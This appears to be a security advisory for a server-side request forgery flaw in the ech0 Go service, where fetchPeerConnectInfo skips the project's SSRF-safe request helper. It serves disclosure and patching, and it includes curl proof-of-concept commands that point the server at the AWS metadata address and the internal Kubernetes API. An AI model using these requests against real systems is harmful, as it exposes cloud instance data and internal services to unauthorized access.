The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.
In internal/service/connect/connect.go, the fetchPeerConnectInfo function:
func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {
url := httpUtil.TrimURL(peerConnectURL) + "/api/connect"
resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout)
This uses SendRequest which has NO URL validation. The codebase HAS SendSafeRequest at internal/util/http/http.go:228-281 with proper SSRF protection, but fetchPeerConnectInfo does not use it.
Called from:
data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)# 1. Add a connection pointing to AWS metadata service
curl -X POST "https://ech0.example.com/api/connects" \
-H "Authorization: Bearer <token>" \
-d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}'
# 2. Trigger SSRF via health check
curl -H "Authorization: Bearer <token>" \
"https://ech0.example.com/api/connects/health"
# Returns AWS EC2 instance ID
Or for Kubernetes:
curl -X POST "https://ech0.example.com/api/connects" \
-H "Authorization: Bearer <token>" \
-d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}'
| Software | From | Fixed in |
|---|---|---|
github.com/lin-snow/ech0
|
- | 1.4.8-0.20260503040602-091d26d2d942 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
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